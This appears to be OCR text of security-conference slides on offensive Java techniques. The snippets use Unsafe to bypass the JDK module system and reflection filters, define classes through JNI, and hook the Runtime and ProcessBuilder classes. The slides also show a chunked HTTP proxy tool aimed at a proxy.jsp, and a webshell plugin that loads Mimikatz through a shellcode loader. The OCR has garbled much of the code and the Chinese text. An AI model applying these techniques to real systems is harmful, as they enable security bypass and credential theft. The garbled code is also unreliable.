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Method
if (getModuleMethod !- nuLL) {

Class.class, "g -, new Class[0]);

Object oldModule = getModuleMethod.invoke(currentClass, new Object[I{});

Object targetModule - getModuleMethod.invoke(InstrumentationImplClass, new Object[1{});

unsafe. getAndSetObject (currentClass, unsafe.objectFieldOffset(Class.class.getDeclaredField("module”)), targetModule);

InstrumentationImplConstructor = InstrumentationInplClass.getDeclaredConstructor(new Class[]{Long.class,boolean. class,boolean.class});

InstrumentationImplConstructor.setAccessible(true);

Instrumentation instrumentationInstance= (Instrumentation) InstrumentationImplConstructor.newInstance(®,true,true);

if (instrumentationInstance != null)
System.out.println(String.format("Bypass Jdk Security Module i

i i )
unsafe.getAndSetObject(currentClass, unsafe.objectField0ffset(Class.class.getDeclaredField( module™ )), DldModule),
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Class reflectionClass=CLass.forName("jdk.internal.reflect.Reflection");
byte[] classBuffer = readInputStream(reflectionClass.getResourceAsStrean(“Reflection.class”));
Class reflectionAnonymousClass = unsafe.defineAnonymousClass(reflectionClass,classBuffer,null);

Field fieldFilterMapField-reflectionAnonymousClass.getDeclaredfield("fieldFilterMap”);
Field methodFilterMapField=reflectionAnonymousClass.getDeclaredField( methodFilteriap™);

if(fieldFilterMapField.getType().isAssignableFrom(HashMap.class)){
unsafe.putObject(reflectionClass,unsafe.staticField0ffset(fieldFilterMapField),new HashMap());

}
if(methodFilterMapField.getType() . isAssignableFrom(Hashiap. class)){
unsafe.putObject(reflectionClass,unsafe. staticFieldOffset(methodFilterMapField),new Hashiap());
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igned char*)env->functions >GetByteArnayElenents(eny, classBytes, &1sCopy);
ArvayLength(eny, classBytes);

(jumts, 1, &jcd

jed);
ments(eny, classBytes, (jbyte*)bytes, 0);
Refenv, classBytes);

env->functions->Delztel

3¢ (env->functions->Exceptiontheck(env))

env->functions->ExceptionClear(eny);

env->functions->Deletelocalfet(eny, JavaClass);
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public static byte[] transform(Class clazz){
if (Process.class.isAssignableFrom(clazz) | |ProcessBuilder.cLass.isAssignableFrom(clazz)| |Runtime.class.isAssignableFrom(clazz)){
InputStream inputStream-clazz.getResourceAsStream(String.format("%s.class”,clazz.getSimpleName()));
if (inputStream!-null){
return readInputStrean(inputStream);

}

return null;
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Http Chunk i s AR £ B iSAR 2> T2 FkJT K T Chunk-Proxy

Microsoft Windows [RRAS 10. 0. 19042. 1083]
(c) Microsoft Corporation. {REETAIH .

E:\kcon>java -jar chunk-proxy. jar
usage: java -jar chunk-Proxy. jar type listenPort targetUrl

type
.net
java

learn
| java -jar chunk-Proxy. jar java 1088 http://10.10. 10. 1:8080/proxy. jsp

I.E:\kcon)
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1 %runBuﬁon%bﬂ$$$’1¢ runButton.addActionListener(new ActionlLis )

2. i id getPlugin#k B Shellcode Loaderdiff:
3. B AMimikatz | N A7

4. 1 Ffl Shellcode Loader7E N1 H INEKPE
5. % Hi B 7R BllresultTextArea

b;

@override
public void actionPerformed(ActionEvent e) {

ShellcodeLoader loader = (ShellcodeLoader) shellEntity.getFrame().getPlugin( pluginName: "ShellcodeLoader"); //#igshellcodeffitf
byte[] pe = functions.readInputStreamAutoClose (Mimi .class. ream( name: "minikatz-"+(payload.isX64()?"6:
byte[] result = new byte[o];
try {

result = loader.runPe2(argsTextField.getText().trin(),pe, readWait: 6806) ;//iBLoaderE s siPe
} catch (Exception exception) {

exception.printStackTrace();

resultTextArea. setText(shellEntity.getEncodingHodule() .Decoding(result)); //&m

é}}'\ R

]

SUS2+eXen)) ; / /xmpesit
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